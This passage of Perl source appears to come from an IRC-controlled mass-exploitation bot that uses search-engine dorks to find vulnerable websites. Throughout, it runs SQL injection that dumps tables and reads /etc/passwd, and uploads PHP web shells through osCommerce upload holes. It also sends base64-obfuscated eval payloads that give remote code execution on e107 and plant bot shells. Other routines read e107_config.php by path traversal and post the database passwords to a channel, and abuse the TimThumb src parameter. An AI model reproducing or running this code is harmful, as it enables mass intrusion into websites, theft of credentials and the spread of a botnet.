			my $chan  =$_[1];
			my $engine=$_[2];
			my $columns=20;
my $cfin.="--";
my $cmn.= "+";
for ($column = 0 ; $column < $columns ; $column ++)
	{
	$union.=','.$column;
	$inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0)
      {
		  $inyection = '';
          $union = '';
      }
    $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql);
    if($response =~ /loginpwnz/)
		{
         $column ++;
         $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
		 &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
         $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
         if($response =~ /loginpwnz/)
         	{
         	$sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
			&msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
         	}
         $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
         if($response =~ /loginpwnz/)
         	{
         	$sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
			&msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
         	}
         else
         	{
         	}
	while ($loadcont < $column-1)
	   {
		$loadfile.=','.'load_file(0x2f6574632f706173737764)';
		$loadcont++;
	   }
	   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
	$response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
         if($response =~ /root:x:/)
         	{
			&msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
			}
         else
         	{
         	}
	          foreach $tabla(@tabele)
                {
                  chomp($tabla);
                  $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
				 $response=get($sql)or die("[-] Impossible to get tables\n");
                  if($response =~ /loginpwnz/)
                    {
                    $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
					&msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
					&tabelka($situs,$tabla,$chan,$engine);
                    }
                }
	    }
	}			
}

sub tabelka() {
			my $situs =$_[0];
			my $tabla =$_[1];
			my $chan  =$_[2];
			my $engine=$_[3];
			my $cfin.="--";
			my $cmn.= "+";
            chomp($tabla);
            foreach $columna(@kolumny)
            {
             chomp($columna);
             $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql)or die("[-] Impossible to get columns\n");
             if ($response =~ /loginpwnz/)
                {
				&msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13SQLi Vuln15)9 $situs 14(4@13Kolom14)13 $columna 14(4@13Tabel14)13 $tabla ");
                }
            }
        
}

sub osco() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
            my $test = "http://".$site.$bug;
            my $html = &get_content($test);
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
            if ($html =~ /Warning: No file uploaded/ ) {
               &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
				&osco_xpl($test,$chan,$site,$engine);
				} else { }
            } exit; sleep(2); }
        }
    }
}

sub osco_xpl() {
my $browser = LWP::UserAgent->new;
my $url    = $_[0];
my $chan   = $_[1];
my $site   = $_[2];
my $engine = $_[3];
my $res = $browser->post( $url,['products_image' => ['./ipays.jpg' => 'bronsx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resa = $browser->post( $url,['products_image' => ['./maza.jpg' => 'aspaltx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resb = $browser->post( $url,['products_image' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resc = $browser->post( $url,['products_image' => ['./allnet.jpg' => 'allnet.html' => 'application/octet-stream']],'Content-Type' => 'form-data');
	my $hasil = $res->as_string;
	my $hasil1 = $resa->as_string;
	my $hasil2 = $resb->as_string;
	my $hasil3 = $resc->as_string;
	my $check = &get_content("http://".$site."images/aspaltx.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.html");sleep(3);
	if ($check =~ /ipays - exploit/) {
	my $safe   ="";
	my $os 	   ="";
	my $free   ="";
    if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
    if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
    if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
    if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
	&msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4aspaltx.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
	&msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4allnet.html 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
	}
}

sub osco2() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
            my $test = "http://".$site.$bug;
            my $html = &get_content($test);
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
            if ($html =~ /TABLE_HEADING_FILENAME/ ) {
                 &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
				&osco_xpl2($test,$chan,$site,$engine);
				} else { }
            } exit; sleep(2); }
        }
    }
}

sub e107() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$e107logo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$e107logo 4$engine 0 Scan finish"); }
            my $test = "http://".$site.$bug;
            my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
            my $html = &e107_rce_query($test,$code);
            if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
					&e107xpl1($chan,$site,$engine);	
                if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                    my $sys = $1;
                    my $upload = 'if(@copy("'.$injector.'","images.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","cukz.php");@copy("'.$botshell2.'","detu.php");} elseif(@copy("'.$injector.'","e107_themes/images.php")) { echo "ewec_dthem";@copy("'.$botshell.'","e107_themes/cukz.php");@copy("'.$botshell2.'","e107_themes/detu.php");} elseif(@copy("'.$injector.'","e107_plugins/images.php")) { echo "ewec_dplug";@copy("'.$botshell.'","e107_plugins/cukz.php");@copy("'.$botshell2.'","e107_plugins/detu.php");} elseif(@copy("'.$injector.'","e107_images/images.php")) { echo "ewec_dima";@copy("'.$botshell.'","e107_images/cukz.php");@copy("'.$botshell2.'","e107_images/detu.php");}';
                    my $res = &e107_rce_query($test,encode_base64($upload));
                    if ($res =~ /c0liSUKSESc0li/) {	
						&get_content("http://".$site."cukz.php");
						&get_content("http://".$site."detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                        &msg("$admin","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                    }
                    elsif ($res =~ /ewec_dthem/) {
						&get_content("http://".$site."e107_themes/cukz.php");
						&get_content("http://".$site."e107_themes/detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                        &msg("$admin","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                    }
                    elsif ($res =~ /ewec_dplug/) {
						&get_content("http://".$site."e107_plugins/cukz.php");
						&get_content("http://".$site."e107_plugins/detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                        &msg("$admin","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                    }
                    elsif ($res =~ /ewec_dima/) {
						&get_content("http://".$site."e107_images/cukz.php");
						&get_content("http://".$site."e107_images/detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                        &msg("$admin","$e107logo(4@3$engine15)15(4@9SheLL15)13 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@9safemode-off15)");sleep(2);
                    }
                    &e107_spread_query($test);
                    sleep(2);
                } exit; } sleep(2);
            }
            elsif ($html =~ /v0pCr3w<br>sys:(.+?)<br>/) {
                if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                    my $sys = $1;
                    my $upload = 'if(@copy("'.$injector.'","images.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","cukz.php");@copy("'.$botshell2.'","detu.php");} elseif(@copy("'.$injector.'","e107_themes/images.php")) { echo "ewec_dthem";@copy("'.$botshell.'","e107_themes/cukz.php");@copy("'.$botshell2.'","e107_themes/detu.php");} elseif(@copy("'.$injector.'","e107_plugins/images.php")) { echo "ewec_dplug";@copy("'.$botshell.'","e107_plugins/cukz.php");@copy("'.$botshell2.'","e107_plugins/detu.php");} elseif(@copy("'.$injector.'","e107_images/images.php")) { echo "ewec_dima";@copy("'.$botshell.'","e107_images/cukz.php");@copy("'.$botshell2.'","e107_images/detu.php");}';
                    my $res = &e107_rce_query($test,encode_base64($upload));
                    if ($res =~ /c0liSUKSESc0li/) {
						&e107xpl1($chan,$site,$engine);
						&get_content("http://".$site."cukz.php");
						&get_content("http://".$site."detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
                    }
                    if ($res =~ /ewec_dthem/) {
						&get_content("http://".$site."e107_themes/cukz.php");
						&get_content("http://".$site."e107_themes/detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."e107_themes/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
                    }
                    if ($res =~ /ewec_dplug/) {
						&get_content("http://".$site."e107_plugins/cukz.php");
						&get_content("http://".$site."e107_plugins/detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."e107_plugins/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
                    }
                    if ($res =~ /ewec_dima/) {
						&get_content("http://".$site."e107_images/cukz.php");
						&get_content("http://".$site."e107_images/detu.php");
                        &msg("$chan","$e107logo(4@3$engine15)15(4@9SheLL15)10 http://".$site."e107_images/4images.php 15(4@3".$sys."15)(4@7safemode-on15)");sleep(2);
                    }
                } exit; } sleep(2);
            }
        }
    }
}

sub e107_rce_query() {
    my $url = $_[0];
    my $code = $_[1];
    my $req = HTTP::Request->new(POST => $url);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $res = $ua->request($req);
    return $res->content;
}

sub e107_spread_query() {
    my $url = $_[0];
    my $code = "7ZNNasMwEIX3hd5BFYXIoXHSn1XdlkAP0AsUjCKPYhVZEpIcJ5TevZJsJ5tAIKS7LgzyvHnfjEdjYLVGeLMw7/axe1nZN1xcX0EKup17xrmpTdkq2gDJcjwm3LKmesUpTenVotpFd8EqNPeNKWyDZpajStt8iqb5l1nn04KDZzWqvTfP87mhTHDBmG6VAymFWueMRm98oqEIZdF4Hnjja7cGfxEQa61Es4+LsGRnZpXulNS0Og8Yp7eh9n+CZ08wbSY4WLci7idsSdzTrEh7ehBCFm8V80IrlHI4ZN/BacGhVzSZBF1wRG6gMX7Xy1EXnIy2ErbCeUcmsAU2SeoyHlPyXQRlxR74pYUi+FPhvfAT/jDp4BjQ1eEzywN2YCwP8b6hE5Sd89AMjelV6Ty1nkTTspf2kJEfksJOlEwrDyogUm4IgqpKJoEqcqKkoc752rZHi47iH5TVBtQwKh6JKdDfA7Y4urtaSCA3Sw6aD7eJvlHqIA8GboFWveF+8fCUFegndsykdkBueaofIhZ8a1Wyxcgv";
    my $req = HTTP::Request->new(POST => $url);
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $res = $ua->request($req);
}

sub e107xpl1() {
    my $chan   = $_[0];
    my $site   = $_[1];
    my $engine = $_[2];
      my $test = "http://".$site."e107_plugins/my_gallery/image.php?file=../../e107_config.php";
      my $re   = &get_content($test);
         if ($re =~ /http:\/\//){
            &osql_xpl($test,$chan,$site);
        }
 }

sub e107xpl() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$e107logosql);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$e107logosql 4$engine 0 Scan finish"); }
            my $test = "http://".$site."e107_plugins/my_gallery/image.php?file=../../e107_config.php";
            my $re   = &get_content($test);
            if ($re =~ /http:\/\//){
#           &msg("$chan","$e107logosql 4$engine 9checking.. 11 ".$test);
            &e107_cuk($test,$chan,$site);
            }
         }
    }
}
sub e107_cuk() {
     my $url    = $_[0];
     my $chan   = $_[1];
     my $site   = $_[2];
     my $request   = HTTP::Request->new(GET=>$url);
     my $browser   = LWP::UserAgent->new();
        $browser->timeout(10);
        my $response  = $browser->request($request);
         if ($response->is_success) {
 	 my $res   = $response->as_string;
	if ($res =~ m/mySQLserver    = '(.*)'/g) {
	&msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 13[+]DB Server: 3 $1");
	}
	if ($res =~ m/mySQLuser      = '(.*)'/g) {
	&msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 13[+]DB username: 3 $1");
	}
	if ($res =~ m/mySQLpassword  = '(.*)'/g) {
	&msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 13[+]DB password: 3 $1");
	}
	if ($res =~ m/mySQLdefaultdb = '(.*)'/g) {
	&msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 13[+]DB database: 3 $1");
		}
	}
}

sub osco_xpl2() {
my $browser = LWP::UserAgent->new;
my $url    = $_[0]."?action=processuploads";
my $chan   = $_[1];
my $site   = $_[2];
my $engine = $_[3];
my $res = $browser->post( $url,['file_1' => ['./ipays.jpg' => 'bronsx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resa = $browser->post( $url,['file_1' => ['./maza.jpg' => 'aspaltx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resb = $browser->post( $url,['file_1' => ['./bonze.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $resc = $browser->post( $url,['file_1' => ['./bonze.jpg' => 'allnet.html' => 'application/octet-stream']],'Content-Type' => 'form-data');
	my $hasil = $res->as_string;
	my $hasil1 = $resa->as_string;
	my $hasil2 = $resb->as_string;
	my $hasil3 = $resc->as_string;
	my $check = &get_content("http://".$site."images/aspaltx.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.html");sleep(3);
	if ($check =~ /ipays - exploits/) { 
	my $safe   ="";
	my $os 	   ="";
	my $free   ="";
    if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
    if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
    if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
    if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
	&msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4aspaltx.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
	&msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4allnet.html 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
	}
}

sub loko() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$lokologo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$lokologo(4@8$engine15)10 Scan finish"); }
            my $test  = "http://".$site."filemanager/browser.html";
            my $vuln = "http://".$site."filemanager/browser.html";
            my $re   = &get_content($test);
            if ($re =~ /$loko_output/){
            &msg("$chan", "$lokologo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@0UPLOAD15)");
            }
         }
    }
}

sub op() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$oplogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$oplogo(4@8$engine15)10 Scan finish"); }
            my $test  = "http://".$site.$open_test;
            my $vuln = "http://".$site."admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
            my $re   = &get_content($test);
            if ($re =~ /$open_output/){
            &msg("$chan", "$oplogo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@0UPLOAD15)");
            }
         }
    }
}

sub zen() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$zenlogo(4@8$engine15)10 Scan finish"); }
            my $test  = "http://".$site."admin/record_company.php/password_forgotten.php?action=insert";
            my $vuln  = "http://".$site."images/4brons.php";
            my $que   = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (56,'adminsys','admin@mazacrew.co.cc','617ec22fbb8f201c366e9848c0eb6925:87');";
            my $re    = &get_content($vuln);
               if ($re =~ /ipays - exploit/i){
              &msg("$chan", "$zenlogo(4@8$engine15)(4@13Shell15)13 ".$vuln."");
            }
             else{
             &msg("$chan", "$zenlogo(4@8$engine15)(4@13GaGaL15)4 ".$vuln."15(4@9Ab0rteD15)");   
            }
         }
    }
}

sub toolstors() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$toolstore);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
        $count++;
        if ($count == $num-1) { &msg("$chan","$toolstore(4@8$engine15)10 Scan finish"); }
        my $test  = "http://".$site."index.php";
        my $vuln = "http://".$site."index.php";
        my $re   = &get_content($test);
            if ($re =~ /ipays - exploit/i){
        &msg("$chan", "$toolstore(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@FOUND-TOOLSTORE15)");
				}
		}
	}
}

sub thumb() {

    my $chan = $_[0];

    my $bug = $_[1];

    my $dork = $_[2];

    my $engine = $_[3];

    my $count = 0;

    my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);

    my $num = scalar(@list);

    if ($num > 0) {

        foreach my $site (@list) {

            $count++;

				if ($count == $num-1) { &msg("$chan","$thumblogo 9{9@8$engine9}00 Ricerca Terminata"); }

			my $vuln = "http://".$site.$bug."?src=".$thumbshell;

			my $cek  = &get_content($vuln);sleep(1);

			if ( ($cek =~ /unable to open image/i)||($cek =~ /Invalid src mime type/i) ) {

#			if ($cek =~ /$thumbshell/i) {

				&msg("$chan","9,1 ExPlOitging WebSite @ 4,1http://$site4,1");sleep(1);

			(my $iht = $bug)=~ s{/[^/]+\z}{};

			my $vuln2 = "http://".$site.$iht.$agz1;

			my $vuln3 = "http://".$site.$iht.$agz2;

			my $vuln4 = "http://".$site.$iht.$agz3;

			my $vuln5 = "http://".$site.$iht.$agz4;

			my $vuln6 = "http://".$site.$agz5;

                        my $vuln7 = "http://".$site.$iht.$agz6;

			my $god	  = $admin;

			my $safe   ="";

			my $os	   ="";

			my $check1 = &get_content($vuln2);#sleep(1);

			my $check2 = &get_content($vuln3);#sleep(1);

			my $check3 = &get_content($vuln4);#sleep(1);

			my $check4 = &get_content($vuln5);#sleep(1);

			my $check5 = &get_content($vuln6);#sleep(1);

                        my $check6 = &get_content($vuln7);#sleep(1);

			if ($check1 =~ /GIF89a/i) {

			if ($check1 =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}

			if ($check1 =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}

			if ($check1 =~ m/OS : (.*?)<br>/) {$os = $1;}

			if ($check1 =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;} 

				&msg("$chan","$thumblogo 9{15$engine9}15 ".$vuln2."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$admin","$thumblogo 9{15$engine9}15 ".$vuln2."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$chan","9{15Vulnerable9} ".$vuln2."  9{15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

			}

			if ($check2 =~ /GIF89a/i) {

			if ($check2 =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}

			if ($check2 =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}

			if ($check2 =~ m/OS : (.*?)<br>/) {$os = $1;}

			if ($check2 =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;} 

				&msg("$chan","$thumblogo 9{15$engine9}15 ".$vuln3."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$admin","$thumblogo 9{15$engine9}15 ".$vuln3."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$chan","9{15Vulnerable9} ".$vuln3."  9{15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

			}

			if ($check3 =~ /GIF89a/i) {

			if ($check3 =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}

			if ($check3 =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}

			if ($check3 =~ m/OS : (.*?)<br>/) {$os = $1;}

			if ($check3 =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}

				&msg("$chan","$thumblogo 9{15$engine9}15 ".$vuln4."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$admin","$thumblogo 9{15$engine9}15 ".$vuln4."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$chan","9{15Vulnerable9} ".$vuln4."  9{15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

			}

			if ($check4 =~ /GIF89a/i) {

			if ($check4 =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}

			if ($check4 =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}

			if ($check4 =~ m/OS : (.*?)<br>/) {$os = $1;}

			if ($check4 =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;} 

					&msg("$chan","$thumblogo 9{15$engine9}15 ".$vuln5."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$admin","$thumblogo 9{15$engine9}15 ".$vuln5."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$chan","9{15Vulnerable9} ".$vuln5."  9{15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

			}

			if ($check5 =~ /GIF89a/i) {

			if ($check5 =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}

			if ($check5 =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}

			if ($check5 =~ m/OS : (.*?)<br>/) {$os = $1;}

			if ($check5 =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}

				&msg("$chan","$thumblogo 9{15$engine9}15 ".$vuln6."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$admin","$thumblogo 9{15$engine9}15 ".$vuln6."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$chan","9{15Vulnerable9} ".$vuln6."  9{15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

			}

			if ($check6 =~ /GIF89a/i) {

			if ($check6 =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}

			if ($check6 =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}

			if ($check6 =~ m/OS : (.*?)<br>/) {$os = $1;}

			if ($check6 =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}

				&msg("$chan","$thumblogo 9{15$engine9}15 ".$vuln7."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$admin","$thumblogo 9{15$engine9}15 ".$vuln7."9 {15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

				&msg("$chan","9{15Vulnerable9} ".$vuln7."  9{15SaFe MoDe9}-{15 $safe 9}-{15UnaMe -a9}-{15 $os 9}");

			}
         }

      }

   }

}

sub search_engine() {
    my (@total,@clean);
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $logo = $_[4];
    if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
    if ($engine eq "JAPAN") { my @JAPAN = JAPAN($dork); push(@total,@JAPAN); }
    if ($engine eq "CHINA") { my @CHINA = CHINA($dork); push(@total,@CHINA); }
